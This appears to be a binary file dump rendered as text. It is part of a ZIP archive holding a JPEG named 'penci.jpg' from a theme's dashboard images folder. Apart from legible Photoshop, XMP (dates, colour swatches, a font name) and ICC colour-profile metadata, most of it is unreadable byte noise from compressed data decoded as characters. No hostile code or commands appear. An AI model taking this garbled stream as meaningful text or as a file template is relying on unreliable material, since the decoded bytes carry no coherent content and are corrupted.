Ϳq @v0L ,kGV	>,k	z 5BuR{w5O޴VewOq]m,ƶY5}33H)av>|CV<jvƵGjrd0	\?gvSsl|uRbG5hxM^ڙuE6VkľZGGab{g,a0++4YF[s eKƮ-aDx~ҀA h\R!&	?=ܼgeK#hI}=;EdOtTm\5[]<Q1/Xv|Lݬ>0էE# de27bXP8쾨*MT#J	yꬁX姗wŞ`tQz{8h(wg<trE!cFG%fے6Vfg]xd;}!F8:[Н͑¿[n/Mg;"?((3aR?I&VvL~[|\Ԡӗe5EpD(dlc+#6+<NF ՛sJTCkz6EhxCNh"Kp\:?U ?F9!rsk08/6Uŋ'|F(W0z'vs~kKEٸjʚBU
N.0.X8Lo;2{ӿEj;M4ꏪA ; y0D0PCؠJ@:Gjƴzg$@W'Uoy6ZB1H<x<cCF#/S?hK6  NcsH/`.a+֗^C\Б ^(nтYjwDtkBލooQBX	994E1on$V2~g_<Q+Zޅ~$`gřFb	 b_k1gҾizbClD-˫\Aw=w)qD%\quH$.Cv|AE
{w'­4 C*~UZ?&>]O E  		     !1AQa "q2R0#4BSbr$3Tcs ? QQEQEDr(TYsf?rZOM'e70p#D"?5dY|UJr(<ER{*(r(ʗ.;;=\{p(=ֶ6MsH"4e1iEH=8?碳	:i=쏰.POt@">4Y#b	%d@P{|W_)ֈB<79tXLx|<q0{mQ>XA;matgi5>p6A\  ڗatrͧyv|LߍuG'<%v>$ֈ=@#dH +rEU.[,n%As `Pqlf04AQCl375ěoКЅF}aJGv =QU*TVRZ-68TIcpmWZ"U֝эdrfFǇ6qb=ᯎԴ8afᆺYI X-J<X,^S:ߊZ,RkKd z\Cq8?y5tG+麿w曺4@ZA[H˸ߩGt{ײ/oV`[vS̍i"<FlnV"V#^zfa=~
	0״Ac#I(cNbI#I%n%'I<}`eqXgfWj+Z?b/ni1>Aċuw55yf0EV>U!PAPZ*&enSdpK_/TpQڽQڽJJݩ>W849vKf[~tnx-WT#;${XNZ@ץ&ǘn&tQ4L5P,F{zEd{4JJOء3_aJ4"{h:wuĹkM4nA'R	ԱD[]An
2nӂodfk@:Gj70p$jYyEfWXut2*UkNȊ(tDCBِeqckP6S)P_a	a`kI'Plv.Ŏ@BtD=v2ǩ-bX֛.'͔ڗoFZF>FJ`oukC`YS@`Wy~#4A6Tw{&|ϲT; yekE]j{&=ifg])8lr8LC0Q0<=ނU.d1M@Ѱ={5 ws]T(Vע{dt.kN;I~J'J:r~ ENA}+֟vuuY'AX6&8Hu7_X%G䏣X//?%3|l$Qh1mOCZ(Ly}Bij<C[I^wގy򙇍ÅFaHo3~ 5>8ep,6tvN0m=ׄ]fs j6
|t`:N:Y!,,s3Q\?q8f>6ګ.E?x,o	Z+@4(t\5ca?^"b4uty)K`w!:tA.b[B@:@h޿wm+C-;4cu,-hkl2h%Gt.kŋT<L>FCaV_lÖ H;({k8^B$`'4b;TN
]&VG?6f72I1˜@ y<?G?4'}vJId26Fgi[` *VȋnI/hfZ@ I1>hS0qx86fu :Ьa!Ѵ4[y?	w#t	5<y!e&<'e AG $}`?1fԴP.aҔd"E~ (.phI凅aޜEЍȱj|@6OxMaէڽN'{yQܨxu;e3C#8sl8ON3'W~IoLGH{L!*r8kO3&l'uK*66:,V!q%sb:R[,Or0Fu TR:(l_uѻz8\xN~rRZ>h5UM@1čyuײ/,eq#ֶOt_mL$4C>_ġoREyqS@1`~ jdDߑEnV+j僱"|aə֤ ˗ 9dhkx7 0qǙq2l׹B>]zVק9cUl|nUgnBK㦧5;fjTi0&ys	]DU	<ivxtd;lǻ~^DS4 |LMtYh]j&bӢ^90FьegjMhhsNt'K*457`0yg\t,d
zMWb0ېaFC)\VvԼLN;#tj0>2+N+ M-h,4O PK     N\?      inc/dashboard/images/penci.jpgnu [        VExif  MM *                  b       j(       1    $   r2       i           -  ' -  'Adobe Photoshop CC 2018 (Macintosh) 2019:02:21 17:22:57                 N      ,                    &      .(             6             H      H    Adobe_CM  Adobe d     			
  H "   	?          	
         	
 3 !1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw 5 !1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw   ? H T[(T
*32H S1lC*PTB]}7+e} Kg'_eqH 	, t	:_M_f7[kml q'#&\Ú|{ں3{:_L8#qfEXW??53:03.FmD3ŞOwK{.j7F÷e<~.SWa:?Ew z(ݎ@Ev$ҝ6$I%I$JRஔšAR Tf-eH
(@'unV;$Clo ? QL 	:lC*^2W`ߑ -O?[+/cygKa?eY\?C?=:Ծe:-$[ncƏ{oNKte^|\q/2+n? _bE9i?fxzl>AЂUTox2\Û}>ck; 	Uh}T̹n践ĵޘ7z^ g2a-o6#]L<~_JzyUzwQv&Y 	[ 1  =;-~&SW}A/c>cuӲ 5ctm;r"߬xæe݌ix?dͳo l"8eQP?:֏
pS]Uُp^ ӵ]Ɂ@ŹSSHe$SH	O+!Ōق
4Ś9#" WA %_ ԅ_v_cOP+tNr)u7el`MeY4;ߵwo/Ԧ?Y=#Vo ^8V e+\ }pi܆z6WTY\ 5C<@eFpgM T?Yzoc ʆAk#:,ߦұ~Ǐ%fֳsYgQs{  o|zhDɫtL|~ю'QΉcmp{\m? FGޯӱɥT7G 3 [촏v@*F?宝  ύPbW92C[~d TXGտJ)Gmɠ	AN
*@c )g0ɣI%8+yQN$I-@rhB%XBSCXv7Աֽ>KY쭊($l @;: _ٍdvͿGWu:e>U6sަ18ʞju{md~}ޥ+Q>u,WXۨs6B;#w'oCYW~_ ,،W K]c1{cq mcߥ{U;}fvEn+_miÞ7X+09m>Z*?Բ]u?n#]B\'k^׳ֺ]ζʩ}W!/v8~  Xw_U?JXPۛEUZӹuCƪ3,~v3U9Yc0ֽyՋ 73kmɣmt]q,s_CqrX{Uw bGSmͥ9{YXgU1GW QWafOQ V P1akoOujAR S[0ʐ)BJtQ2|\Kp^%Ȥ^]_';&P=lM+ewbMxK~qz>g++v#sh}h-{X+kc[ (g{\Hʳ95wkIE  	{ |γ܂2ge!}+is=_ү=O na?)sȭcǱfw;- ؼ${_>H{ {rd9涺
\ Jn7 ѫ Yz~8|}~Gko}_u(5whWY R`75
RGB[S<8 WbO~
>I0ճ*>OPhotoshop 3.0 8BIM     Z %G   Print 8BIM%     EYabY\cU8BIM:                printOutput       PstSbool    Inteenum    Inte    Clrm   printSixteenBitbool    printerNameTEXT        printProofSetupObjc    P r o o f   S e t u p     
proofSetup       Bltnenum   builtinProof   	proofCMYK 8BIM;    -           printOutputOptions       Cptnbool     Clbrbool     RgsMbool     CrnCbool     CntCbool     Lblsbool     Ngtvbool     EmlDbool     Intrbool     BckgObjc         RGBC       Rd  doub@o         Grn doub@o         Bl  doub@o         BrdTUntF#Rlt            Bld UntF#Rlt            RsltUntF#Pxl@r        
vectorDatabool    PgPsenum    PgPs    PgPC    LeftUntF#Rlt            Top UntF#Rlt            Scl UntF#Prc@Y         cropWhenPrintingbool    cropRectBottomlong       cropRectLeftlong       cropRectRightlong       cropRectToplong     8BIM     ,    ,    8BIM&               ?  8BIM     
    8BIM        Z8BIM        8BIM     	         8BIM'     
        8BIM     H /ff  lff       /ff         2    Z         5    -        8BIM     p                8BIM       8BIM         8BIM0     8BIM-         8BIM          @  @    8BIM         8BIM                   null      baseNameTEXT    U s e r     boundsObjc         Rct1       Top long        Leftlong        Btomlong  ,    Rghtlong  N   slicesVlLs   Objc        slice      sliceIDlong       groupIDlong       originenum   ESliceOrigin   autoGenerated    Typeenum   
ESliceType    Img    boundsObjc         Rct1       Top long        Leftlong        Btomlong  ,    Rghtlong  N   urlTEXT         nullTEXT         MsgeTEXT        altTagTEXT        cellTextIsHTMLbool   cellTextTEXT        	horzAlignenum   ESliceHorzAlign   default   	vertAlignenum   ESliceVertAlign   default   bgColorTypeenum   ESliceBGColorType    None   	topOutsetlong       
leftOutsetlong       bottomOutsetlong       rightOutsetlong    8BIM(        ?      8BIM        8BIM    4         H    x`     Adobe_CM  Adobe d     			
  H "   	?          	
         	
 3 !1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw 5 !1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw   ? H T[(T
*32H S1lC*PTB]}7+e} Kg'_eqH 	, t	:_M_f7[kml q'#&\Ú|{ں3{:_L8#qfEXW??53:03.FmD3ŞOwK{.j7F÷e<~.SWa:?Ew z(ݎ@Ev$ҝ6$I%I$JRஔšAR Tf-eH
(@'unV;$Clo ? QL 	:lC*^2W`ߑ -O?[+/cygKa?eY\?C?=:Ծe:-$[ncƏ{oNKte^|\q/2+n? _bE9i?fxzl>AЂUTox2\Û}>ck; 	Uh}T̹n践ĵޘ7z^ g2a-o6#]L<~_JzyUzwQv&Y 	[ 1  =;-~&SW}A/c>cuӲ 5ctm;r"߬xæe݌ix?dͳo l"8eQP?:֏
pS]Uُp^ ӵ]Ɂ@ŹSSHe$SH	O+!Ōق
4Ś9#" WA %_ ԅ_v_cOP+tNr)u7el`MeY4;ߵwo/Ԧ?Y=#Vo ^8V e+\ }pi܆z6WTY\ 5C<@eFpgM T?Yzoc ʆAk#:,ߦұ~Ǐ%fֳsYgQs{  o|zhDɫtL|~ю'QΉcmp{\m? FGޯӱɥT7G 3 [촏v@*F?宝  ύPbW92C[~d TXGտJ)Gmɠ	AN
*@c )g0ɣI%8+yQN$I-@rhB%XBSCXv7Աֽ>KY쭊($l @;: _ٍdvͿGWu:e>U6sަ18ʞju{md~}ޥ+Q>u,WXۨs6B;#w'oCYW~_ ,،W K]c1{cq mcߥ{U;}fvEn+_miÞ7X+09m>Z*?Բ]u?n#]B\'k^׳ֺ]ζʩ}W!/v8~  Xw_U?JXPۛEUZӹuCƪ3,~v3U9Yc0ֽyՋ 73kmɣmt]q,s_CqrX{Uw bGSmͥ9{YXgU1GW QWafOQ V P1akoOujAR S[0ʐ)BJtQ2|\Kp^%Ȥ^]_';&P=lM+ewbMxK~qz>g++v#sh}h-{X+kc[ (g{\Hʳ95wkIE  	{ |γ܂2ge!}+is=_ү=O na?)sȭcǱfw;- ؼ${_>H{ {rd9涺
\ Jn7 ѫ Yz~8|}~Gko}_u(5whWY R`75
RGB[S<8 WbO~
>I0ճ*>O8BIM!     ]       A d o b e   P h o t o s h o p    A d o b e   P h o t o s h o p   C C   2 0 1 8    8BIM    mopt                          <                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    TargetSettings   	    MttCObjc        
NativeQuad       Bl  long       Grn long       Rd  long       Optmbool    Qltylong   <   
blurAmountdoub           embedICCProfilebool    
fileFormatenum   
FileFormat    JPEG   noMatteColorbool    progressivebool    zonedQualityObjc        	ZonedInfo      	channelIDlong   emphasizeTextbool    emphasizeVectorsbool    floorlong    8BIM     -mset           null      Versionlong     8BIM     ms4w   8BIM          7,http://ns.adobe.com/xap/1.0/ <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/" xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/" xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#" xmlns:stFnt="http://ns.adobe.com/xap/1.0/sType/Font#" xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/" xmlns:ExtensisFontSense="http://www.extensis.com/meta/FontSense/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" dc:format="image/jpeg" xmp:MetadataDate="2019-02-21T17:22:57+07:00" xmp:ModifyDate="2019-02-21T17:22:57+07:00" xmp:CreateDate="2015-06-01T21:00:46+07:00" xmp:CreatorTool="Adobe Photoshop CC 2018 (Macintosh)" xmpMM:InstanceID="xmp.iid:783c68dd-d286-4c4d-b8b9-4c3d5b0ca37b" xmpMM:DocumentID="adobe:docid:photoshop:5dff164e-a914-5847-9f00-7e3931ca1f19" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" xmpMM:RenditionClass="proof:pdf" illustrator:Type="Document" illustrator:StartupProfile="Print" xmpTPg:HasVisibleOverprint="False" xmpTPg:HasVisibleTransparency="False" xmpTPg:NPages="1" pdf:Producer="Adobe PDF library 10.01" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Print</rdf:li> </rdf:Alt> </dc:title> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:25834e86-e1b2-4663-a814-2518694399ec" stRef:documentID="xmp.did:e6a483fd-6c89-49c7-8abe-c091c69c2f85" stRef:originalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" stRef:renditionClass="proof:pdf"/> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:e6a483fd-6c89-49c7-8abe-c091c69c2f85" stEvt:when="2015-06-01T21:00:47+07:00" stEvt:softwareAgent="Adobe Illustrator CC 2014 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/pdf to application/vnd.adobe.photoshop"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:32a13c06-cdd4-402a-9a1e-0fac03fecd4d" stEvt:when="2015-08-31T22:45:23+07:00" stEvt:softwareAgent="Adobe Photoshop CC 2015 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:25834e86-e1b2-4663-a814-2518694399ec" stEvt:when="2019-02-21T17:22:57+07:00" stEvt:softwareAgent="Adobe Photoshop CC 2018 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:783c68dd-d286-4c4d-b8b9-4c3d5b0ca37b" stEvt:when="2019-02-21T17:22:57+07:00" stEvt:softwareAgent="Adobe Photoshop CC 2018 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpTPg:MaxPageSize stDim:w="1000.000000" stDim:h="1000.000000" stDim:unit="Pixels"/> <xmpTPg:Fonts> <rdf:Bag> <rdf:li stFnt:fontName="Maagkramp" stFnt:fontFamily="Maagkramp" stFnt:fontFace="Regular" stFnt:fontType="TrueType" stFnt:versionString="Version 0.1" stFnt:composite="False" stFnt:fontFileName="maagkramp.ttf"/> </rdf:Bag> </xmpTPg:Fonts> <xmpTPg:PlateNames> <rdf:Seq> <rdf:li>Cyan</rdf:li> <rdf:li>Magenta</rdf:li> <rdf:li>Yellow</rdf:li> <rdf:li>Black</rdf:li> </rdf:Seq> </xmpTPg:PlateNames> <xmpTPg:SwatchGroups> <rdf:Seq> <rdf:li> <rdf:Description xmpG:groupName="Default Swatch Group" xmpG:groupType="0"> <xmpG:Colorants> <rdf:Seq> <rdf:li xmpG:swatchName="White" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="255" xmpG:green="255" xmpG:blue="255"/> <rdf:li xmpG:swatchName="Black" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="35" xmpG:green="31" xmpG:blue="32"/> <rdf:li xmpG:swatchName="CMYK Red" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="237" xmpG:green="28" xmpG:blue="36"/> <rdf:li xmpG:swatchName="CMYK Yellow" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="255" xmpG:green="242" xmpG:blue="0"/> <rdf:li xmpG:swatchName="CMYK Green" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="166" xmpG:blue="81"/> <rdf:li xmpG:swatchName="CMYK Cyan" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="174" xmpG:blue="239"/> <rdf:li xmpG:swatchName="CMYK Blue" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="46" xmpG:green="49" xmpG:blue="146"/> <rdf:li xmpG:swatchName="CMYK Magenta" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="236" xmpG:green="0" xmpG:blue="140"/> <rdf:li xmpG:swatchName="C=15 M=100 Y=90 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="190" xmpG:green="30" xmpG:blue="45"/> <rdf:li xmpG:swatchName="C=0 M=90 Y=85 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="239" xmpG:green="65" xmpG:blue="54"/> <rdf:li xmpG:swatchName="C=0 M=80 Y=95 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="241" xmpG:green="90" xmpG:blue="41"/> <rdf:li xmpG:swatchName="C=0 M=50 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="247" xmpG:green="148" xmpG:blue="30"/> <rdf:li xmpG:swatchName="C=0 M=35 Y=85 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="251" xmpG:green="176" xmpG:blue="64"/> <rdf:li xmpG:swatchName="C=5 M=0 Y=90 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="249" xmpG:green="237" xmpG:blue="50"/> <rdf:li xmpG:swatchName="C=20 M=0 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="215" xmpG:green="223" xmpG:blue="35"/> <rdf:li xmpG:swatchName="C=50 M=0 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="141" xmpG:green="198" xmpG:blue="63"/> <rdf:li xmpG:swatchName="C=75 M=0 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="57" xmpG:green="181" xmpG:blue="74"/> <rdf:li xmpG:swatchName="C=85 M=10 Y=100 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="148" xmpG:blue="68"/> <rdf:li xmpG:swatchName="C=90 M=30 Y=95 K=30" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="104" xmpG:blue="56"/> <rdf:li xmpG:swatchName="C=75 M=0 Y=75 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="43" xmpG:green="182" xmpG:blue="115"/> <rdf:li xmpG:swatchName="C=80 M=10 Y=45 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="167" xmpG:blue="157"/> <rdf:li xmpG:swatchName="C=70 M=15 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="39" xmpG:green="170" xmpG:blue="225"/> <rdf:li xmpG:swatchName="C=85 M=50 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="28" xmpG:green="117" xmpG:blue="188"/> <rdf:li xmpG:swatchName="C=100 M=95 Y=5 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="43" xmpG:green="57" xmpG:blue="144"/> <rdf:li xmpG:swatchName="C=100 M=100 Y=25 K=25" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="38" xmpG:green="34" xmpG:blue="98"/> <rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/> <rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG:green="39" xmpG:blue="143"/> <rdf:li xmpG:swatchName="C=35 M=100 Y=35 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="158" xmpG:green="31" xmpG:blue="99"/> <rdf:li xmpG:swatchName="C=10 M=100 Y=50 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="218" xmpG:green="28" xmpG:blue="92"/> <rdf:li xmpG:swatchName="C=0 M=95 Y=20 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="238" xmpG:green="42" xmpG:blue="123"/> <rdf:li xmpG:swatchName="C=25 M=25 Y=40 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="194" xmpG:green="181" xmpG:blue="155"/> <rdf:li xmpG:swatchName="C=40 M=45 Y=50 K=5" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="155" xmpG:green="133" xmpG:blue="121"/> <rdf:li xmpG:swatchName="C=50 M=50 Y=60 K=25" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="114" xmpG:green="102" xmpG:blue="88"/> <rdf:li xmpG:swatchName="C=55 M=60 Y=65 K=40" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="89" xmpG:green="74" xmpG:blue="66"/> <rdf:li xmpG:swatchName="C=25 M=40 Y=65 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="196" xmpG:green="154" xmpG:blue="108"/> <rdf:li xmpG:swatchName="C=30 M=50 Y=75 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="169" xmpG:green="124" xmpG:blue="80"/> <rdf:li xmpG:swatchName="C=35 M=60 Y=80 K=25" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="139" xmpG:green="94" xmpG:blue="60"/> <rdf:li xmpG:swatchName="C=40 M=65 Y=90 K=35" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="117" xmpG:green="76" xmpG:blue="41"/> <rdf:li xmpG:swatchName="C=40 M=70 Y=100 K=50" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="96" xmpG:green="57" xmpG:blue="19"/> <rdf:li xmpG:swatchName="C=50 M=70 Y=80 K=70" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="60" xmpG:green="36" xmpG:blue="21"/> </rdf:Seq> </xmpG:Colorants> </rdf:Description> </rdf:li> <rdf:li> <rdf:Description xmpG:groupName="Grays" xmpG:groupType="1"> <xmpG:Colorants> <rdf:Seq> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=100" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="35" xmpG:green="31" xmpG:blue="32"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=90" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="65" xmpG:green="64" xmpG:blue="66"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=80" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="88" xmpG:green="89" xmpG:blue="91"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=70" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="109" xmpG:green="110" xmpG:blue="113"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=60" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="128" xmpG:green="130" xmpG:blue="133"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=50" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="147" xmpG:green="149" xmpG:blue="152"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=40" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="167" xmpG:green="169" xmpG:blue="172"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=30" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="188" xmpG:green="190" xmpG:blue="192"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=20" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="209" xmpG:green="211" xmpG:blue="212"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="230" xmpG:green="231" xmpG:blue="232"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=5" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="241" xmpG:green="242" xmpG:blue="242"/> </rdf:Seq> </xmpG:Colorants> </rdf:Description> </rdf:li> <rdf:li> <rdf:Description xmpG:groupName="Brights" xmpG:groupType="1"> <xmpG:Colorants> <rdf:Seq> <rdf:li xmpG:swatchName="C=0 M=100 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="237" xmpG:green="28" xmpG:blue="36"/> <rdf:li xmpG:swatchName="C=0 M=75 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="242" xmpG:green="101" xmpG:blue="34"/> <rdf:li xmpG:swatchName="C=0 M=10 Y=95 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="255" xmpG:green="222" xmpG:blue="23"/> <rdf:li xmpG:swatchName="C=85 M=10 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="161" xmpG:blue="75"/> <rdf:li xmpG:swatchName="C=100 M=90 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="33" xmpG:green="64" xmpG:blue="154"/> <rdf:li xmpG:swatchName="C=60 M=90 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="127" xmpG:green="63" xmpG:blue="152"/> </rdf:Seq> </xmpG:Colorants> </rdf:Description> </rdf:li> </rdf:Seq> </xmpTPg:SwatchGroups> <ExtensisFontSense:slug> <rdf:Bag> <rdf:li ExtensisFontSense:Family="Maagkramp" ExtensisFontSense:Version="0.1" ExtensisFontSense:OutlineFileSize="0" ExtensisFontSense:KerningChecksum="0" ExtensisFontSense:Foundry="--" ExtensisFontSense:FontKind="TrueType" ExtensisFontSense:Checksum="3912312553" ExtensisFontSense:PostScriptName="Maagkramp" ExtensisFontSense:FontSense_1.2_Checksum="3912312553"/> </rdf:Bag> </ExtensisFontSense:slug> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>XICC_PROFILE   HLino  mntrRGB XYZ   	  1  acspMSFT    IEC sRGB                   -HP                                                 cprt  P   3desc     lwtpt     bkpt     rXYZ     gXYZ  ,   bXYZ  @   dmnd  T   pdmdd     vued  L   view     $lumi     meas     $tech  0   rTRC  <  gTRC  <  bTRC  <  text    Copyright (c) 1998 Hewlett-Packard Company  desc       sRGB IEC61966-2.1           sRGB IEC61966-2.1                                                  XYZ       Q    XYZ                 XYZ       o  8  XYZ       b    XYZ       $    desc       IEC http://www.iec.ch           IEC http://www.iec.ch                                              desc       .IEC 61966-2.1 Default RGB colour space - sRGB           .IEC 61966-2.1 Default RGB colour space - sRGB                      desc       ,Reference Viewing Condition in IEC61966-2.1           ,Reference Viewing Condition in IEC61966-2.1                          view      _.    \   XYZ      L	V P   Wmeas                            sig     CRT curv           
     # ( - 2 7 ; @ E J O T Y ^ c h m r w |                         %+28>ELRY`gnu|&/8AKT]gqz !-8COZfr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn		%	:	O	d	y						

'
=
T
j





"9Qi*C\u&@Zt.Id	%A^z	&Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l   !!H!u!!!"'"U"""#
#8#f###$$M$|$$%	%8%h%%%&'&W&&&''I'z''((?(q(())8)k))**5*h**++6+i++,,9,n,,--A-v--..L.../$/Z///050l0011J1112*2c2233F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<'<e<<="=a==> >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JKKSKKL*LrLMMJMMN%NnNO OIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G
k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4
uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD- u`ֲK³8%yhYѹJº;.!
zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs2F[p(@Xr4Pm8Ww)Km Adobe d@     		

				
	
 ,N   J            	
         	
 s !1AQa"q2B#R3b$r%C4Scs5D'6Tdt&	
EFVU(eufv7GWgw8HXhx)9IYiy*:JZjz m !1AQa"q2#BRbr3$4CS%cs5DT	
&6E'dtU7()󄔤euFVfvGWgw8HXhx9IYiy*:JZjz   ? @96."ChDȐ$6	."ChDȐ$KhȐ$K%$6	/!Ix9"Chr$6	.!Ix9"C`r4$KȐ$ě`r$6/"C1%Hl^DbM%iIp9.3^F.F7`W@3p9d
